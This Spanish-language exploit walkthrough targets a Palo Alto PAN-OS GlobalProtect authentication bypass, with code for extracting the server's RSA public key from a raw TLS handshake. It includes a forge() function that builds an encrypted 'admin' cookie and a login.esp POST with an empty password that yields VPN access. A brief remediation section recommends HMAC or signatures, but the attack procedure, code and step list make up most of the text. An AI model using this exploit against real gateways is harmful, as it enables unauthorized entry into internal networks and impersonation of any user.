Palo Alto Networks PAN-OS contiene una omisión de autenticación causada por fallos en el portal y la puerta de enlace de GlobalProtect, lo que permite a los atacantes establecer conexiones VPN no autorizadas; la explotación requiere acceso de red al portal o a la puerta de enlace.
Este exploit consigue acceso VPN sin autenticación a una pasarela/portal GlobalProtect de Palo Alto falsificando una cookie de autenticación usando únicamente el certificado TLS disponible públicamente del servidor.
GlobalProtect utiliza una cookie pre-autenticación (portal-userauthcookie) para permitir que los clientes se autentiquen. Aquí está el fallo fatal:
Flujo Normal:
1. El cliente se autentica (usuario + contraseña)
2. El servidor genera una cookie → la cifra con la clave PÚBLICA RSA del servidor
3. El cliente guarda la cookie cifrada
4. En la reconexión, el cliente envía la cookie → el servidor la descifra con la clave PRIVADA → confía en ella
El Bug:
El servidor SOLO comprueba si la cookie se descifra correctamente con su clave privada.
NO verifica QUIÉN la cifró ni si el contenido en texto plano es legítimo.
Dado que la clave pública RSA está incrustada en el certificado TLS del servidor (accesible públicamente para cualquiera que se conecte), cualquier atacante puede:
Esto es un fallo de autenticación rota de manual — usar cifrado donde se necesitaba una firma digital o un HMAC.
flowchart TD
A["Paso 1: Conexión TCP Cruda"] --> B["Paso 2: Enviar ClientHello TLS Manipulado"]
B --> C["Paso 3: Parsear ServerHello → Extraer Certificados DER"]
C --> D["Paso 4: Recorrer ASN.1 para Extraer la Clave Pública RSA"]
D --> E["Paso 5: Falsificar Cookie Cifrada PKCS#1 v1.5"]
E --> F["Paso 6: POST a /ssl-vpn/login.esp"]
F --> G{"El Servidor Descifra la Cookie"}
G -->|"Texto plano válido"| H[" Omisión de Autenticación — Acceso VPN Concedido"]
G -->|"Inválido"| I[" Rechazado"]¿Por qué crudo? Necesitamos el certificado del servidor en formato DER (binario crudo). El módulo
sslde Python completa el handshake TLS internamente y no expone los bytes crudos del certificado de la misma manera. Al hacer una conexión TCP cruda y enviar un ClientHello hecho a mano, podemos interceptar la respuesta del servidor a nivel de bytes.
Un registro TLS tiene este aspecto:
┌──────────────────────────────────────────────────┐
│ Cabecera de Registro TLS (5 bytes) │
│ ┌──────┬──────────┬────────────┐ │
│ │ Tipo │ Versión │ Longitud │ │
│ │ 0x16 │ 0x03 01 │ 2 bytes │ │
│ │(Hshk)│(TLS 1.0) │ │ │
│ └──────┴──────────┴────────────┘ │
│ │
│ Mensaje de Handshake │
│ ┌──────┬────────────┬─────────────────────────┐ │
│ │ Tipo │ Longitud │ Cuerpo │ │
│ │ 0x01 │ 3 bytes │ (ClientHello) │ │
│ │(CHlo)│ │ │ │
│ └──────┴────────────┴─────────────────────────┘ │
└──────────────────────────────────────────────────┘
El cuerpo del ClientHello contiene:
| Campo | Valor | Propósito |
|---|---|---|
| Versión | 0x03 0x03 (TLS 1.2) | Indicar al servidor que hablamos TLS 1.2 |
| Aleatorio | Marca de tiempo de 4 bytes + 28 bytes aleatorios | Nonce para el handshake |
| ID de Sesión | 0x00 (vacío) | Sin reanudación de sesión |
| Suites de Cifrado | 9 suites incluyendo TLS_RSA_WITH_AES_128_CBC_SHA | Clave: incluimos cifrados solo-RSA para forzar al servidor a usar su certificado RSA |
| Compresión | 0x00 (ninguna) | Obligatorio |
Extensiones incluidas:
| Extensión | ID | Propósito |
|---|---|---|
| SNI (Indicación de Nombre de Servidor) | 0x0000 | Indicar al servidor a qué hostname nos conectamos |
| Algoritmos de Firma | 0x000D | Anunciar qué algoritmos de firma soportamos |
| Grupos Soportados | 0x000A | Curvas EC que soportamos (P-256, P-384, P-521) |
| Formatos de Punto EC | 0x000B | Puntos EC sin comprimir |
[!NOTE] Las suites de cifrado incluyen intencionalmente cifrados de intercambio de claves RSA (
0x002F=TLS_RSA_WITH_AES_128_CBC_SHA). Esto empuja al servidor a responder con su certificado RSA en lugar de uno ECDSA — lo cual es crítico porque el exploit solo funciona con RSA.
Después de enviar el ClientHello, el servidor envía de vuelta múltiples registros TLS:
Respuesta del Servidor:
┌─────────────────┐
│ ServerHello │ (tipo de handshake 2)
├─────────────────┤
│ Certificate │ (tipo de handshake 11) ← ESTE NOS INTERESA
├─────────────────┤
│ ServerKeyExchange│ (tipo de handshake 12, opcional)
├─────────────────┤
│ ServerHelloDone │ (tipo de handshake 14) ← SEÑAL DE PARADA
└─────────────────┘
Fase 1 — Quitar las cabeceras de registro TLS:
Cada registro TLS tiene una cabecera de 5 bytes: [tipo(1)] [versión(2)] [longitud(2)]. El código escanea todos los registros y, para cualquier registro con type == 22 (Handshake), concatena sus cargas útiles:
while i + 5 <= len(data):
t = data[i] # tipo de contenido
rl = (data[i + 3] << 8) | data[i + 4] # longitud del registro
if t == 22: # Handshake
hs.extend(data[i + 5: i + 5 + rl]) # tomar la carga útil
i += 5 + rl # siguiente registro
Fase 2 — Encontrar el mensaje Certificate (tipo 11):
Dentro del flujo de handshake, cada mensaje tiene una cabecera de 4 bytes: [tipo(1)] [longitud(3)]. Escaneamos buscando type == 11:
while j + 4 <= len(hs):
ht = hs[j] # tipo de handshake
hl = (hs[j+1] << 16) | (hs[j+2] << 8) | hs[j+3] # longitud de 3 bytes
if ht == 11: # Certificate!
# Parsear la lista de certificados dentro
Fase 3 — Extraer los certificados DER individuales:
El mensaje Certificate contiene una lista de certificados, cada uno prefijado por una longitud de 3 bytes:
Cuerpo del Mensaje Certificate:
┌───────────────────────────────────┐
│ Longitud Total de Certificados (3 bytes) │
├───────────────────────────────────┤
│ Longitud del Cert 1 (3 bytes) │
│ Datos DER del Cert 1 (variable) │
├───────────────────────────────────┤
│ Longitud del Cert 2 (3 bytes) │
│ Datos DER del Cert 2 (variable) │
├───────────────────────────────────┤
│ ... │
└───────────────────────────────────┘
En nuestra ejecución de prueba, obtuvimos 3 certificados (certificado hoja, CA intermedia, CA raíz).
Esta función escanea buscando ServerHelloDone (tipo de handshake 14), que nos indica que el servidor ha terminado de enviar y podemos dejar de leer.
Los certificados X.509 están codificados en DER (Distinguished Encoding Rules), que es un formato binario basado en ASN.1 (Abstract Syntax Notation One).
Cada elemento en DER es:
┌─────┬────────┬───────────────────┐
│ Tag │ Longitud │ Valor (payload) │
│ 1B │ 1-5B │ variable │
└─────┴────────┴───────────────────┘
Codificación de la longitud:
0x80: la longitud es ese byte directamente (forma corta)0x80: los 7 bits bajos = número de bytes siguientes que codifican la longitud (forma larga)# Ejemplo: byte de longitud = 0x82 → siguen 2 bytes más
# Siguientes 2 bytes: 0x06 0x4F → longitud = 0x064F = 1615 bytes
def rd_tl(d, p):
tag = d[p]; p += 1
length = d[p]; p += 1
if length & 0x80: # ¿forma larga?
nb = length & 0x7F # cuántos bytes siguen
length = 0
for _ in range(nb):
length = (length << 8) | d[p]
p += 1
return {"tag": tag, "len": length, "pos": p} # pos = inicio del valor
Certificate ::= SEQUENCE { ← tag 0x30
tbsCertificate SEQUENCE { ← tag 0x30
version [0] EXPLICIT ← tag 0xA0 (opcional)
serialNumber INTEGER ← tag 0x02
signature SEQUENCE (AlgorithmID) ← tag 0x30
issuer SEQUENCE ← tag 0x30
validity SEQUENCE ← tag 0x30
subject SEQUENCE ← tag 0x30
subjectPublicKeyInfo SEQUENCE { ← tag 0x30 ★ ESTE NOS INTERESA ★
algorithm SEQUENCE { ← tag 0x30
algorithm OID ← tag 0x06
parameters (opcional)
}
subjectPublicKey BIT STRING { ← tag 0x03
RSAPublicKey SEQUENCE { ← tag 0x30
modulus INTEGER ← tag 0x02 ★ n ★
exponent INTEGER ← tag 0x02 ★ e ★
}
}
}
...
}
...
}
La función recorre el árbol DER leyendo tag+longitud y saltando los campos que no necesitamos:
# Entrar en el SEQUENCE exterior (Certificate)
r = rd_tl(der, 0) # → SEQUENCE
# Entrar en el SEQUENCE tbsCertificate
r = rd_tl(der, p) # → SEQUENCE
# Comprobar el tag de versión opcional
r = rd_tl(der, p)
if r["tag"] == 0xA0: # campo de versión presente → saltarlo
p = r["pos"] + r["len"]
r = rd_tl(der, p)
# Saltar: serial → sigAlg → issuer → validity → subject
# (simplemente leer cada TLV y saltar más allá)
# AHORA estamos en subjectPublicKeyInfo
# Leer el AlgorithmIdentifier → comprobar si el OID = RSA
oid = der[r["pos"]: r["pos"] + r["len"]]
rsa_oid = [0x2A, 0x86, 0x48, 0x86, 0xF7, 0x0D, 0x01, 0x01, 0x01]
# ↑ Esto es 1.2.840.113549.1.1.1 = rsaEncryption
if oid != rsa_oid:
return None # No es RSA (probablemente ECDSA)
# Leer el BIT STRING → saltar 1 byte (indicador de bits no usados)
# Leer el SEQUENCE interno → extraer modulus (n) y exponent (e)
Detalle importante — byte cero inicial en el modulus:
if der[ms] == 0 and ml > 1:
ms += 1 # quitar el 0x00 inicial
ml -= 1
DER codifica los enteros como con signo. Si el bit alto del modulus es 1, se antepone un byte 0x00 para mantenerlo positivo. Lo quitamos porque necesitamos el valor unsigned crudo.
Para nuestro objetivo: modulus = 2048 bits (256 bytes), exponent = 65537 (0x10001)
Este es el corazón del exploit.
El formato de la cookie en texto plano es:
admin;;Windows;;1748928001;0.0.0.0
│ │ │ │
│ │ │ └── IP del cliente
│ │ └── Marca de tiempo Unix
│ └── Identificador de SO
└── Nombre de usuario (elegimos "admin")
Antes del cifrado RSA, el texto plano debe rellenarse hasta el tamaño de la clave (256 bytes para RSA de 2048 bits):
┌──────┬──────┬──────────────────────────┬──────┬─────────────────────┐
│ 0x00 │ 0x02 │ Relleno aleatorio no cero │ 0x00 │ Mensaje en texto │
│ │ │ (≥ 8 bytes) │ │ plano │
└──────┴──────┴──────────────────────────┴──────┴─────────────────────┘
1B 1B padLen bytes 1B bytes del mensaje
Total = 256 bytes (= tamaño de la clave)
def forge(n, e, kl, username):
ts = str(int(time.time()))
pt = str2b(username + ";;Windows;;" + ts + ";0.0.0.0")
pad_len = kl - len(pt) - 3 # 3 = 0x00 + 0x02 + separador 0x00
if pad_len < 8: # PKCS#1 requiere ≥ 8 bytes de relleno
return ""
em = bytearray([0x00, 0x02]) # Cabecera de relleno Tipo 2
for _ in range(pad_len):
em.append(random.randint(1, 255)) # ¡bytes aleatorios no cero!
em.append(0x00) # separador
cat(em, pt) # añadir texto plano
# Cifrado RSA: ciphertext = em^e mod n
return b64_encode(bi2bytes(modpow(bytes2bi(em), e, n), kl))
La matemática RSA:
ciphertext = plaintext^e mod n
Donde:
plaintext = el mensaje rellenado como entero grande (256 bytes → ~2048 bits)
e = 65537 (exponente público)
n = el modulus de 2048 bits del certificado
[!IMPORTANT] Esto funciona porque el cifrado RSA usa la clave pública (n, e), que cualquiera puede obtener del certificado TLS. El servidor lo descifrará con su clave privada (n, d) y obtendrá el texto plano —
admin;;Windows;;timestamp;0.0.0.0.El servidor entonces confía en este texto plano a ciegas — nunca verifica que la cookie fue emitida legítimamente por él mismo.
La cookie falsificada se envía como un POST HTTPS estándar al endpoint de login de GlobalProtect:
POST /ssl-vpn/login.esp HTTP/1.1
Host: 1.255.199.2
Content-Type: application/x-www-form-urlencoded
User-Agent: GlobalProtect/6.0.0
Content-Length: ...
Connection: close
prot=https
&server=1.255.199.2
&user=admin
&passwd= ← ¡vacío! no se necesita contraseña
&context=gateway ← o "portal"
&clientos=Windows
&clientgpversion=6.0.0
&portal-userauthcookie=<BASE64_FORGED_COOKIE>
&portal-prelogonuserauthcookie=
[!NOTE] El campo
passwdestá vacío. El servidor no comprueba la contraseña en absoluto — se basa enteramente enportal-userauthcookiepara la autenticación.
El exploit prueba dos endpoints:
context=gateway): Acceso directo al túnel VPNcontext=portal): Acceso a la configuración del portaldef is_gateway_success(resp, user):
# Comprobar HTTP 200
# Comprobar <status>Success</status> en el cuerpo XML
# O la etiqueta <argument> que contiene el nombre de usuario
sequenceDiagram
participant A as Atacante
participant GP as Servidor GlobalProtect
A->>GP: Conexión TCP (puerto 443)
A->>GP: ClientHello TLS crudo (hecho a mano)
GP->>A: ServerHello + Certificate (contiene la clave pública RSA)
GP->>A: ServerHelloDone
Note over A: Extrae la clave pública RSA (n, e) del certificado
Note over A: Falsifica cookie: RSA_encrypt("admin;;Windows;;ts;0.0.0.0", pubkey)
A->>GP: POST /ssl-vpn/login.esp (sobre TLS)
Note over GP: Recibe portal-userauthcookie
Note over GP: Descifra con la clave privada RSA
Note over GP: Obtiene "admin;;Windows;;ts;0.0.0.0"
Note over GP: ⚠️ Confía a ciegas — ¡sin comprobación de firma!
GP->>A: HTTP 200 OK + <status>Success</status>
Note over A: 🎉 Acceso VPN completo como "admin"| Aspecto | Impacto |
|---|---|
| No se necesitan credenciales | La clave pública es literalmente pública — cualquiera que se conecte la obtiene |
| Sin fuerza bruta | Una sola petición por intento, siempre tiene éxito en servidores vulnerables |
| Pre-autenticación | Explotable antes de cualquier login — no se necesita sesión existente |
| Suplantación de usuario | El atacante elige cualquier nombre de usuario (admin, CEO, etc.) |
| Acceso VPN completo | Una vez autenticado, el atacante está en la red interna |
| Sin registro de fallos de contraseña | Como la autenticación es vía cookie, las alertas de contraseña fallida no se activan |
El problema fundamental es usar cifrado para la autenticación. Los enfoques correctos:
Firmas Digitales: El servidor debería firmar la cookie con su clave privada, no descifrar una cifrada. Luego verificar la firma en la re-autenticación.
HMAC: Usar una clave secreta del lado del servidor para aplicar HMAC a la carga útil de la cookie. Solo el servidor conoce el secreto, por lo que las cookies no pueden falsificarse.
Token Binding: Vincular la cookie a la sesión de autenticación original para que no pueda reproducirse desde un contexto diferente.
Roto: cookie = RSA_encrypt(userdata, public_key) ← ¡cualquiera puede hacer esto!
Arreglado: cookie = HMAC(server_secret, userdata) ← solo el servidor puede hacer esto
1. Conexión TCP al objetivo:443
2. Enviar ClientHello hecho a mano (bytes crudos sobre TCP, NO TLS)
3. Recibir ServerHello + Certificate + ServerHelloDone
4. Parsear registros TLS → extraer mensajes de handshake
5. Encontrar el mensaje Certificate (tipo 11) → extraer certificados codificados en DER
6. Recorrer la estructura ASN.1/DER del certificado hoja:
SEQUENCE → SEQUENCE → [version] → serial → sigAlg → issuer → validity → subject
→ subjectPublicKeyInfo → algorithmIdentifier (comprobar OID = RSA)
→ BIT STRING → SEQUENCE → modulus (n) + exponent (e)
7. Construir texto plano: "admin;;Windows;;1748928001;0.0.0.0"
8. Relleno PKCS#1 v1.5: 0x00 0x02 [aleatorio≥8] 0x00 [texto plano]
9. Cifrado RSA: ciphertext = padded^e mod n
10. Codificar en Base64 → codificar URL
11. POST a /ssl-vpn/login.esp con la cookie falsificada (sobre TLS adecuado)
12. El servidor descifra → confía a ciegas → concede acceso VPN